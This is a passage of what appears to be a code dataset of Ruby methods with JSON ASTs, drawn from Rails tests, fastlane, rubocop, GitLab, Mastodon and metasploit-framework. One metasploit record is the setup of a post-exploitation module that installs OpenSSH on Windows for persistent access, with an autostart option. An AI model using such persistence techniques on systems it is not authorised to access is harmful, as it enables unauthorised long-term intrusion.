value=\"20\">20</option>\\n<option value=\"21\">21</option>\\n<option value=\"22\">22</option>\\n<option value=\"23\">23</option>\\n<option value=\"24\">24</option>\\n<option value=\"25\">25</option>\\n<option value=\"26\">26</option>\\n<option value=\"27\">27</option>\\n<option value=\"28\">28</option>\\n<option value=\"29\">29</option>\\n<option value=\"30\">30</option>\\n<option value=\"31\">31</option>\\n)\n expected << \"</select>\\n\"\n\n expected << \" — \"\n\n expected << %(<select id=\"date_first_hour\" name=\"date[first][hour]\">\\n)\n expected << %(<option value=\"\">Choose hour</option>\\n<option value=\"00\">00</option>\\n<option value=\"01\">01</option>\\n<option value=\"02\">02</option>\\n<option value=\"03\">03</option>\\n<option value=\"04\">04</option>\\n<option value=\"05\">05</option>\\n<option value=\"06\">06</option>\\n<option value=\"07\">07</option>\\n<option value=\"08\" selected=\"selected\">08</option>\\n<option value=\"09\">09</option>\\n<option value=\"10\">10</option>\\n<option value=\"11\">11</option>\\n<option value=\"12\">12</option>\\n<option value=\"13\">13</option>\\n<option value=\"14\">14</option>\\n<option value=\"15\">15</option>\\n<option value=\"16\">16</option>\\n<option value=\"17\">17</option>\\n<option value=\"18\">18</option>\\n<option value=\"19\">19</option>\\n<option value=\"20\">20</option>\\n<option value=\"21\">21</option>\\n<option value=\"22\">22</option>\\n<option value=\"23\">23</option>\\n)\n expected << \"</select>\\n\"\n\n expected << \" : \"\n\n expected << %(<select id=\"date_first_minute\" name=\"date[first][minute]\">\\n)\n expected << %(<option value=\"\">Choose minute</option>\\n<option value=\"00\">00</option>\\n<option value=\"01\">01</option>\\n<option value=\"02\">02</option>\\n<option value=\"03\">03</option>\\n<option value=\"04\" selected=\"selected\">04</option>\\n<option value=\"05\">05</option>\\n<option value=\"06\">06</option>\\n<option value=\"07\">07</option>\\n<option value=\"08\">08</option>\\n<option value=\"09\">09</option>\\n<option value=\"10\">10</option>\\n<option value=\"11\">11</option>\\n<option value=\"12\">12</option>\\n<option value=\"13\">13</option>\\n<option value=\"14\">14</option>\\n<option value=\"15\">15</option>\\n<option value=\"16\">16</option>\\n<option value=\"17\">17</option>\\n<option value=\"18\">18</option>\\n<option value=\"19\">19</option>\\n<option value=\"20\">20</option>\\n<option value=\"21\">21</option>\\n<option value=\"22\">22</option>\\n<option value=\"23\">23</option>\\n<option value=\"24\">24</option>\\n<option value=\"25\">25</option>\\n<option value=\"26\">26</option>\\n<option value=\"27\">27</option>\\n<option value=\"28\">28</option>\\n<option value=\"29\">29</option>\\n<option value=\"30\">30</option>\\n<option value=\"31\">31</option>\\n<option value=\"32\">32</option>\\n<option value=\"33\">33</option>\\n<option value=\"34\">34</option>\\n<option value=\"35\">35</option>\\n<option value=\"36\">36</option>\\n<option value=\"37\">37</option>\\n<option value=\"38\">38</option>\\n<option value=\"39\">39</option>\\n<option value=\"40\">40</option>\\n<option value=\"41\">41</option>\\n<option value=\"42\">42</option>\\n<option value=\"43\">43</option>\\n<option value=\"44\">44</option>\\n<option value=\"45\">45</option>\\n<option value=\"46\">46</option>\\n<option value=\"47\">47</option>\\n<option value=\"48\">48</option>\\n<option value=\"49\">49</option>\\n<option value=\"50\">50</option>\\n<option value=\"51\">51</option>\\n<option value=\"52\">52</option>\\n<option value=\"53\">53</option>\\n<option value=\"54\">54</option>\\n<option value=\"55\">55</option>\\n<option value=\"56\">56</option>\\n<option value=\"57\">57</option>\\n<option value=\"58\">58</option>\\n<option value=\"59\">59</option>\\n)\n expected << \"</select>\\n\"\n\n assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), start_year: 2003, end_year: 2005, prefix: \"date[first]\",\n prompt: { day: \"Choose day\", month: \"Choose month\", year: \"Choose year\", hour: \"Choose hour\", minute: \"Choose minute\" })\n end","complexity_score":24.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_select_datetime_with_custom_prompt\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"<select id=\\\"date_first_year\\\" name=\\\"date[first][year]\\\">\\n\"]},\"+@\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"<option value=\\\"\\\">Choose year</option>\\n<option value=\\\"2003\\\" selected=\\\"selected\\\">2003</option>\\n<option value=\\\"2004\\\">2004</option>\\n<option value=\\\"2005\\\">2005</option>\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"</select>\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"<select id=\\\"date_first_month\\\" name=\\\"date[first][month]\\\">\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"<option value=\\\"\\\">Choose month</option>\\n<option value=\\\"1\\\">January</option>\\n<option value=\\\"2\\\">February</option>\\n<option value=\\\"3\\\">March</option>\\n<option value=\\\"4\\\">April</option>\\n<option value=\\\"5\\\">May</option>\\n<option value=\\\"6\\\">June</option>\\n<option value=\\\"7\\\">July</option>\\n<option value=\\\"8\\\" selected=\\\"selected\\\">August</option>\\n<option value=\\\"9\\\">September</option>\\n<option value=\\\"10\\\">October</option>\\n<option value=\\\"11\\\">November</option>\\n<option value=\\\"12\\\">December</option>\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"</select>\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"<select id=\\\"date_first_day\\\" name=\\\"date[first][day]\\\">\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"<option value=\\\"\\\">Choose day</option>\\n<option value=\\\"1\\\">1</option>\\n<option value=\\\"2\\\">2</option>\\n<option value=\\\"3\\\">3</option>\\n<option value=\\\"4\\\">4</option>\\n<option value=\\\"5\\\">5</option>\\n<option value=\\\"6\\\">6</option>\\n<option value=\\\"7\\\">7</option>\\n<option value=\\\"8\\\">8</option>\\n<option value=\\\"9\\\">9</option>\\n<option value=\\\"10\\\">10</option>\\n<option value=\\\"11\\\">11</option>\\n<option value=\\\"12\\\">12</option>\\n<option value=\\\"13\\\">13</option>\\n<option value=\\\"14\\\">14</option>\\n<option value=\\\"15\\\">15</option>\\n<option value=\\\"16\\\" selected=\\\"selected\\\">16</option>\\n<option value=\\\"17\\\">17</option>\\n<option value=\\\"18\\\">18</option>\\n<option value=\\\"19\\\">19</option>\\n<option value=\\\"20\\\">20</option>\\n<option value=\\\"21\\\">21</option>\\n<option value=\\\"22\\\">22</option>\\n<option value=\\\"23\\\">23</option>\\n<option value=\\\"24\\\">24</option>\\n<option value=\\\"25\\\">25</option>\\n<option value=\\\"26\\\">26</option>\\n<option value=\\\"27\\\">27</option>\\n<option value=\\\"28\\\">28</option>\\n<option value=\\\"29\\\">29</option>\\n<option value=\\\"30\\\">30</option>\\n<option value=\\\"31\\\">31</option>\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"</select>\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\" — \"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"<select id=\\\"date_first_hour\\\" name=\\\"date[first][hour]\\\">\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"<option value=\\\"\\\">Choose hour</option>\\n<option value=\\\"00\\\">00</option>\\n<option value=\\\"01\\\">01</option>\\n<option value=\\\"02\\\">02</option>\\n<option value=\\\"03\\\">03</option>\\n<option value=\\\"04\\\">04</option>\\n<option value=\\\"05\\\">05</option>\\n<option value=\\\"06\\\">06</option>\\n<option value=\\\"07\\\">07</option>\\n<option value=\\\"08\\\" selected=\\\"selected\\\">08</option>\\n<option value=\\\"09\\\">09</option>\\n<option value=\\\"10\\\">10</option>\\n<option value=\\\"11\\\">11</option>\\n<option value=\\\"12\\\">12</option>\\n<option value=\\\"13\\\">13</option>\\n<option value=\\\"14\\\">14</option>\\n<option value=\\\"15\\\">15</option>\\n<option value=\\\"16\\\">16</option>\\n<option value=\\\"17\\\">17</option>\\n<option value=\\\"18\\\">18</option>\\n<option value=\\\"19\\\">19</option>\\n<option value=\\\"20\\\">20</option>\\n<option value=\\\"21\\\">21</option>\\n<option value=\\\"22\\\">22</option>\\n<option value=\\\"23\\\">23</option>\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"</select>\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\" : \"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"<select id=\\\"date_first_minute\\\" name=\\\"date[first][minute]\\\">\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"<option value=\\\"\\\">Choose minute</option>\\n<option value=\\\"00\\\">00</option>\\n<option value=\\\"01\\\">01</option>\\n<option value=\\\"02\\\">02</option>\\n<option value=\\\"03\\\">03</option>\\n<option value=\\\"04\\\" selected=\\\"selected\\\">04</option>\\n<option value=\\\"05\\\">05</option>\\n<option value=\\\"06\\\">06</option>\\n<option value=\\\"07\\\">07</option>\\n<option value=\\\"08\\\">08</option>\\n<option value=\\\"09\\\">09</option>\\n<option value=\\\"10\\\">10</option>\\n<option value=\\\"11\\\">11</option>\\n<option value=\\\"12\\\">12</option>\\n<option value=\\\"13\\\">13</option>\\n<option value=\\\"14\\\">14</option>\\n<option value=\\\"15\\\">15</option>\\n<option value=\\\"16\\\">16</option>\\n<option value=\\\"17\\\">17</option>\\n<option value=\\\"18\\\">18</option>\\n<option value=\\\"19\\\">19</option>\\n<option value=\\\"20\\\">20</option>\\n<option value=\\\"21\\\">21</option>\\n<option value=\\\"22\\\">22</option>\\n<option value=\\\"23\\\">23</option>\\n<option value=\\\"24\\\">24</option>\\n<option value=\\\"25\\\">25</option>\\n<option value=\\\"26\\\">26</option>\\n<option value=\\\"27\\\">27</option>\\n<option value=\\\"28\\\">28</option>\\n<option value=\\\"29\\\">29</option>\\n<option value=\\\"30\\\">30</option>\\n<option value=\\\"31\\\">31</option>\\n<option value=\\\"32\\\">32</option>\\n<option value=\\\"33\\\">33</option>\\n<option value=\\\"34\\\">34</option>\\n<option value=\\\"35\\\">35</option>\\n<option value=\\\"36\\\">36</option>\\n<option value=\\\"37\\\">37</option>\\n<option value=\\\"38\\\">38</option>\\n<option value=\\\"39\\\">39</option>\\n<option value=\\\"40\\\">40</option>\\n<option value=\\\"41\\\">41</option>\\n<option value=\\\"42\\\">42</option>\\n<option value=\\\"43\\\">43</option>\\n<option value=\\\"44\\\">44</option>\\n<option value=\\\"45\\\">45</option>\\n<option value=\\\"46\\\">46</option>\\n<option value=\\\"47\\\">47</option>\\n<option value=\\\"48\\\">48</option>\\n<option value=\\\"49\\\">49</option>\\n<option value=\\\"50\\\">50</option>\\n<option value=\\\"51\\\">51</option>\\n<option value=\\\"52\\\">52</option>\\n<option value=\\\"53\\\">53</option>\\n<option value=\\\"54\\\">54</option>\\n<option value=\\\"55\\\">55</option>\\n<option value=\\\"56\\\">56</option>\\n<option value=\\\"57\\\">57</option>\\n<option value=\\\"58\\\">58</option>\\n<option value=\\\"59\\\">59</option>\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"</select>\\n\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"send\",\"children\":[null,\"select_datetime\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"mktime\",{\"type\":\"int\",\"children\":[2003]},{\"type\":\"int\",\"children\":[8]},{\"type\":\"int\",\"children\":[16]},{\"type\":\"int\",\"children\":[8]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[18]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start_year\"]},{\"type\":\"int\",\"children\":[2003]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"end_year\"]},{\"type\":\"int\",\"children\":[2005]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"prefix\"]},{\"type\":\"str\",\"children\":[\"date[first]\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"prompt\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"day\"]},{\"type\":\"str\",\"children\":[\"Choose day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"month\"]},{\"type\":\"str\",\"children\":[\"Choose month\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"year\"]},{\"type\":\"str\",\"children\":[\"Choose year\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hour\"]},{\"type\":\"str\",\"children\":[\"Choose hour\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"minute\"]},{\"type\":\"str\",\"children\":[\"Choose minute\"]}]}]}]}]}]}]}]}]}","id":"4d7ae5ec-4874-4bc0-8aad-f0e9a0f273c5"} {"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/portal/key.rb","start_line":90,"raw_source":"def find_service(service_id)\n services.find do |service|\n service['id'] == service_id\n end\n end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"find_service\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"service_id\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"services\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"service\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]},\"==\",{\"type\":\"lvar\",\"children\":[\"service_id\"]}]}]}]}","id":"9cd17a98-925b-49cd-9977-2500fc7872d6"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/mixin/unused_argument.rb","start_line":16,"raw_source":"def check_argument(variable)\n return if variable.should_be_unused?\n return if variable.referenced?\n\n message = message(variable)\n\n add_offense(variable.declaration_node.loc.name, message: message) do |corrector|\n autocorrect(corrector, variable.declaration_node)\n end\n end","complexity_score":14.6,"ast_json":"{\"type\":\"def\",\"children\":[\"check_argument\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"variable\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"variable\"]},\"should_be_unused?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"variable\"]},\"referenced?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[null,\"message\",{\"type\":\"lvar\",\"children\":[\"variable\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"variable\"]},\"declaration_node\"]},\"loc\"]},\"name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"send\",\"children\":[null,\"autocorrect\",{\"type\":\"lvar\",\"children\":[\"corrector\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"variable\"]},\"declaration_node\"]}]}]}]}]}","id":"4e68b601-7d46-4149-aec2-164b776d332e"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/email/handler/create_issue_handler.rb","start_line":63,"raw_source":"def create_issue\n ::Issues::CreateService.new(\n container: project,\n current_user: author,\n params: {\n title: mail.subject,\n description: message_including_reply_or_only_quotes\n },\n perform_spam_check: false\n ).execute\n end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"create_issue\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Issues\"]},\"CreateService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"container\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"author\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mail\"]},\"subject\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[null,\"message_including_reply_or_only_quotes\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"perform_spam_check\"]},{\"type\":\"false\",\"children\":[]}]}]}]},\"execute\"]}]}","id":"6d92db8e-ca20-4ce7-bb9c-083e2fda09d9"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/url_sanitizer.rb","start_line":77,"raw_source":"def initialize(url, credentials: nil)\n %i[user password].each do |symbol|\n credentials[symbol] = credentials[symbol].presence if credentials&.key?(symbol)\n end\n\n @credentials = credentials\n @url = parse_url(url)\n end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]},{\"type\":\"kwoptarg\",\"children\":[\"credentials\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"sym\",\"children\":[\"password\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"symbol\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credentials\"]},\"key?\",{\"type\":\"lvar\",\"children\":[\"symbol\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credentials\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"symbol\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credentials\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"symbol\"]}]},\"presence\"]}]},null]}]},{\"type\":\"ivasgn\",\"children\":[\"@credentials\",{\"type\":\"lvar\",\"children\":[\"credentials\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@url\",{\"type\":\"send\",\"children\":[null,\"parse_url\",{\"type\":\"lvar\",\"children\":[\"url\"]}]}]}]}]}","id":"8b6c8e1e-32ab-4211-9ef7-54da650bedd2"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/http/web_socket/amazon_ssm.rb","start_line":322,"raw_source":"def length\n to_binary_s.length\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"length\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"to_binary_s\"]},\"length\"]}]}","id":"1ae7eead-4809-4e3e-a12b-3b9e796c1f20"} {"repo_name":"mastodon","file_path":"./repos/mastodon/spec/controllers/admin/instances_controller_spec.rb","start_line":37,"raw_source":"def instance_directory_links\n response.parsed_body.css('div.directory__tag a')\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"instance_directory_links\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"response\"]},\"parsed_body\"]},\"css\",{\"type\":\"str\",\"children\":[\"div.directory__tag a\"]}]}]}","id":"2843e324-fac5-4526-be2d-22c5ae7693bb"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/io.rb","start_line":39,"raw_source":"def write(buf)\n return process.channel.write(buf)\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"write\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"buf\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"process\"]},\"channel\"]},\"write\",{\"type\":\"lvar\",\"children\":[\"buf\"]}]}]}]}","id":"3692690e-f08a-452f-b8ca-2528718b1add"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/manage/install_ssh.rb","start_line":11,"raw_source":"def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Install OpenSSH for Windows',\n 'Description' => %q{\n This module installs OpenSSH server and client for Windows using PowerShell.\n SSH on Windows can provide pentesters persistent access to a secure interactive terminal, interactive filesystem access, and port forwarding over SSH.\n },\n 'License' => MSF_LICENSE,\n 'Author' => ['Michael Long <bluesentinel[at]protonmail.com>'],\n 'Arch' => [ARCH_X86, ARCH_X64],\n 'Platform' => [ 'win' ],\n 'SessionTypes' => [ 'meterpreter', 'shell' ],\n 'References'\t=> [\n ['URL', 'https://docs.microsoft.com/en-us/windows-server/administration/openssh/openssh_overview'],\n ['URL', 'https://github.com/PowerShell/openssh-portable']\n ],\n 'Notes' => {\n 'Stability' => [CRASH_SAFE],\n 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],\n 'Reliability' => []\n }\n )\n )\n register_options(\n [\n OptBool.new('INSTALL_SERVER', [true, 'Install OpenSSH.Server for Windows', true]),\n OptBool.new('INSTALL_CLIENT', [true, 'Install OpenSSH.Client for Windows', true]),\n OptBool.new('UNINSTALL_SERVER', [true, 'Uninstall OpenSSH.Server for Windows', false]),\n OptBool.new('UNINSTALL_CLIENT', [true, 'Uninstall OpenSSH.Client for Windows', false]),\n OptString.new('SERVER_VER', [true, 'OpenSSH.Server version', 'OpenSSH.Server~~~~0.0.1.0']),\n OptString.new('CLIENT_VER', [true, 'OpenSSH.Client version', 'OpenSSH.Client~~~~0.0.1.0']),\n OptBool.new('AUTOSTART', [true, 'Sets sshd service to startup automatically at system boot for persistence', true])\n ]\n )\n end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Install OpenSSH for Windows\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" This module installs OpenSSH server and client for Windows using PowerShell.\\n\"]},{\"type\":\"str\",\"children\":[\" SSH on Windows can provide pentesters persistent access to a secure interactive terminal, interactive filesystem access, and port forwarding over SSH.\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Michael Long <bluesentinel[at]protonmail.com>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"win\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SessionTypes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"meterpreter\"]},{\"type\":\"str\",\"children\":[\"shell\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://docs.microsoft.com/en-us/windows-server/administration/openssh/openssh_overview\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/PowerShell/openssh-portable\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARTIFACTS_ON_DISK\"]},{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"INSTALL_SERVER\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Install OpenSSH.Server for Windows\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"INSTALL_CLIENT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Install OpenSSH.Client for Windows\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"UNINSTALL_SERVER\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Uninstall OpenSSH.Server for Windows\"]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"UNINSTALL_CLIENT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Uninstall OpenSSH.Client for Windows\"]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"SERVER_VER\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"OpenSSH.Server 